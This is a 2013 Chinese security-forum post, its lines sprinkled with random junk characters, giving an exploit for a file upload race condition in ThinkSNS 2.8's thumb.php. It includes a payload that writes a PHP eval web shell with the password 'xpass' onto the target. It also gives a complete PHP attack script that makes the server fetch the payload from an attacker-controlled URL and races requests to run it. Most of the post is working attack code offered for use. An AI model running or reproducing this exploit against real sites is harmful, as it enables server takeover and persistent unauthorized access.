找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2049|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本; e& y( }1 e5 ^" p/ c% G
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
' X; _5 ~# `( w* `! `# b: S漏洞文件% X+ i! }. p& k: ~8 l% P' d
存在漏洞的文件为:thumb.php
% J4 o7 ~2 G0 D. g! _  y0 L作者:韦鲲鹏
; V. e  c% s. a" }! b1、        准备如下PHP文件并上传到服务器(自己的)。
8 u5 V2 O/ U. ~/ Z文件内容如下:
1 C$ `6 m+ _5 H: l" A$ Q& f( f<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
" o. N* z2 i8 e$ Q2、        计算出临时的文件名:, B# u* @# C' I0 [0 s/ q  j6 c5 Q3 E
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
- ^5 _" a% w4 H/ K* a1 T6 u5 n
* A# `7 d+ d; r& Y' S. J3、        上传临时文件。
! U3 h+ L. l* o5 I: }4、        访问临时文件。
; p- n9 r( R/ |- ^# V( e但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
+ X4 E% C6 X1 j! w% |Exploit文件内容如下:(这个我就不详细解释了); a* V/ A8 L0 ~! B3 o; g3 p8 O
<?php
  o% d9 @, N' b6 {' K, nerror_reporting(0);; L! D- N  j& m' X1 D/ z! D
set_time_limit(0);* q+ ^; M; R/ I/ D  X# W1 m8 n- h2 C
ini_set(“default_socket_timeout”, 5);8 z# F, Q+ t! l" }( B3 m
function http_send($host, $port, $headers) {/ j; _! Q$ N/ n4 f
$fp = fsockopen($host, $port);1 e, O5 ^6 H( p1 T8 q
if (!$fp) die(‘Connection -> fail’);
0 u' j; E! V; A9 T6 q8 [, w, Wfputs($fp, $headers);
% Z  n1 O1 V6 \9 o) o: e' t% creturn $fp;
0 i# ~( j& Q& m, o- q}
: P+ \7 o; {( m' Hfunction http_recv($fp) {! `+ ^5 G( d% c- z) T
$ret=”";, z* @4 g1 ?2 k# g! L  _) p' |3 ]
while (!feof($fp))
: a4 P3 _+ G3 L' l$ G5 {4 a$ret.= fgets($fp, 1024);
$ y: ?! b. U" u  @$ xfclose($fp);
- b  H- \7 X1 O; R8 wreturn $ret;, N4 i2 _, x& U% u
}6 d8 k( E( H( ^
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
" A) w4 \, X6 F5 n8 |$ m; Jprint “# Discovered by 韦鲲鹏 #\n\n”;& o1 c/ O  l; I& {# N' i  [# g
if ($argc < 4) {. K" w. D9 Y8 `
print “Usage:   php <host> <path> <romote_url>\n”;
- w8 [+ j/ o, B- \, X9 {print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;5 B/ U: s9 J! g6 d- l& O
die();
9 ^4 I6 y: r5 @" s# t}
5 R8 i: j  s0 e, }. _* w$host = $argv[1];) ?' q7 I/ ~4 \2 q& {4 J
$path = $argv[2];
4 V+ v! N: I0 H& g6 S$url = $argv[3];2 A5 F8 z) u$ c  H% @4 s  W/ K" m5 X
$i=0;: t9 ]% L- q% H) Z, G
//上传数据包
& `  @- w' }$ W3 s6 N8 K8 Q$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;) k! h9 C+ v; p' i
$headers_up .= “Host: “.$host.”\r\n”;/ N" w) V1 u( b$ p& U) ~+ Y
$headers_up .= “Connection: close\r\n\r\n”;
3 @* U, q# x8 necho $headers_up;
( A1 N$ M/ w/ y6 {//临时文件访问数据包
+ N2 |, F- x7 F+ ^% h& f6 ~8 x$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;/ M* z5 R' H: P- k& L  q
$headers .= “Host: “.$host.”\r\n”;% s* a3 k% ~" y2 Y) ?* o
$headers .= “Connection: close\r\n\r\n”;
4 n5 N, T) t. B9 Pecho $headers;+ c) F" i* L0 r1 M# _
while(++$i<10) {
( n% T# j1 g* W/ {fclose(http_send($host, 80, $headers));
! b) X4 p  M5 N, b& w. W1 b}, e) B2 R8 K9 i" o% s0 p2 y
fclose(http_send($host, 80, $headers_up));
9 o! Y7 K# m/ I. twhile(++$i<50) {) A, |, {+ ?% S: ~) j9 V
fclose(http_send($host, 80, $headers));6 f4 b* ]% y( O' c* e
}
1 @$ y! l. y8 _# u, o$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
, g0 c2 |( k: D0 J3 W$headers .= “Host: “.$host.”\r\n”;4 z/ [4 A, w( `  E, d
$headers .= “Connection: close\r\n\r\n”;5 f# Q: @; F- S5 h9 X$ e
$res=http_recv(http_send($host, 80, $headers));8 i. z* e/ P6 q7 U; q7 `* p. ~
if(preg_match(‘/200 OK/’,$res)) {
# }( A# v8 _7 H6 P# M- jprint “Success!\n\n”;
  x2 y, |' L1 _} else {: x  t( ^% S/ _$ s$ O- B! R8 i2 }
print “Fail!\n\n”;. X- ]% h8 o7 e" O6 x& `
}
& {- Q; e, R( ^6 E+ {?>' q9 \$ h9 j: q0 }. M) X/ \. j1 m5 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表